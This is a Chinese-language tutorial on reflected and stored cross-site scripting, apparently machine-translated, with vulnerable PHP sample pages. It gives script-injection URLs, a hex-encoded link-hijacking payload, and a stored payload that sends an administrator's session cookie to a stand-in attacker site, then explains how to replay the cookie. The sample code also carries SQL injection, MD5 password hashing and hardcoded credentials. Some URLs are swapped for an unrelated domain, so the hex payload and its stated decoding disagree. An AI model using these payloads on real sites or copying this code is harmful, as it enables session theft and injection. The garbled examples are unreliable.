XSS 攻击示例
XSS 代表跨站点脚本。
XSS 与 SQL 注入非常相似。在 SQL-Injection 中,我们通过注入 SQL 查询作为用户输入来利用该漏洞。在 XSS 中,我们将代码(基本上是客户端脚本)注入到远程服务器。
跨站脚本类型
XSS 攻击大致分为 2 种类型:
- 非持久
- 执着的
1.非持久性XSS攻击
在非持久性攻击的情况下,它需要用户访问攻击者特制的链接。当用户访问该链接时,精心制作的代码将由用户的浏览器执行。让我们通过一个例子更好地理解这种攻击。
非持久性 XSS 示例
索引.php:
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://hgst.com.cn/">Click to Download</a>";
?>
示例 1:
现在攻击者将制作如下 URL 并将其发送给受害者:
index.php?name=guest<script>alert('attacked')</script>
当受害者将上述 URL 加载到浏览器中时,他会看到一个警告框,上面写着“被攻击”。尽管这个例子没有造成任何损害,除了恼人的“被攻击”弹出窗口,你可以看到攻击者如何使用这种方法来做一些破坏性的事情。
示例 2:
例如,攻击者现在可以尝试更改“点击下载”链接的“目标 URL”。他可以通过制作如下所示的 URL 将其重定向到“not-real-xssattackexamples.com”,而不是指向“xssattackexamples.com”网站的链接:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.hgst.com.cn/" ;}</script>
在上面,我们调用了在“window.onload”上执行的函数。因为网站(即 index.php)首先回显给定名称,然后才绘制 <a> 标记。所以如果我们像下图这样直接写,是行不通的,因为那些语句会在<a>标签被回显之前被执行
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://www.hgst.com.cn"</script>
通常,攻击者往往不会制作人类可以直接读取的 URL。所以他会将 ASCII 字符编码为十六进制,如下所示。
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20 %3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f %63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61 %6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74 %70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d %3c%2f%73%63%72%69%70%74%3e
这与:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://www.hgst.com.cn/";}</script>
现在受害者可能不知道它是什么,因为他无法直接理解 URL 是经过精心设计的,他们更有可能访问该 URL。
2. 持续性 XSS 攻击
在持续攻击的情况下,攻击者注入的代码将存储在辅助存储设备中(主要在数据库上)。持久攻击造成的伤害比非持久攻击更大。在这里,我们将看到如何通过执行 XSS 来劫持其他用户的会话。
会议
HTTP 协议是一种无状态协议,这意味着它不会对请求和响应保持任何状态。所有请求和响应都是相互独立的。但是大多数 Web 应用程序不需要这个。一旦用户验证了自己的身份,Web 服务器不应该询问用户名/密码来获取用户的下一个请求。为此,他们需要在网络浏览器和网络服务器之间维护某种状态,这是通过“会话”完成的。
当用户第一次登录时,网络服务器将创建一个会话 ID,并将其作为“cookie”发送到网络浏览器。对网络服务器的所有后续请求,都将基于 cookie 中的“会话 ID”。
持久性 XSS 攻击示例
我们在下面给出的这个示例 Web 应用程序演示了持久性 XSS 攻击,它执行以下操作:
- 有两种类型的用户:“管理员”和“普通”用户。
- 当“管理员”登录时,他可以看到用户名列表。当“普通”用户登录时,他们只能更新他们的显示名称。
登录.php:
<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
/* Error checking the connection string */
if (!$Connect) {
echo "Database Connection Failure";
exit;
}
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
if(strcmp($user_pass,$row['password'])!=0) {
echo "Login failed";
}
else {
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name;
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>
主页.php:
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
echo "Need to login";
}
else {
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if($_SERVER['REQUEST_METHOD'] == "POST") {
$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
pg_query($Connect,$query);
echo "Update Success";
}
else {
if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
echo "Welcome admin<br><hr>";
echo "List of user's are<br>";
$query = "select display_name from $Schema.members where user_name!='admin'";
$res = pg_query($Connect,$query);
while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
echo "$row[display_name]<br>";
}
}
else {
echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
echo "<input type=\"submit\" value=\"Update\">";
}
}
}
?>
现在攻击者以普通用户身份登录,他将在文本框中输入以下内容作为他的显示名称:
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
攻击者输入的上述信息将存储在数据库中(持久化)。
现在,当管理员登录系统时,他将看到一个名为“我的名字”的链接以及其他用户名。当管理员单击该链接时,它将具有会话 ID 的 cookie 发送到攻击者的站点。现在,攻击者可以使用该会话 ID 向 Web 服务器发布请求,并且他可以像“管理员”一样行事,直到会话过期。cookie 信息将类似于以下内容:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
一旦黑客知道了 PHPSESSID,他就可以使用这个会话来获取管理员权限,直到 PHPSESSID 过期。
为了进一步理解这一点,我们可以使用一个名为“Tamper Data”的firefox插件,它可用于添加一个名为“Cookies”的新HTTP标头,并将值设置为“PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3”。
- 点赞
- 收藏
- 关注作者
评论(0)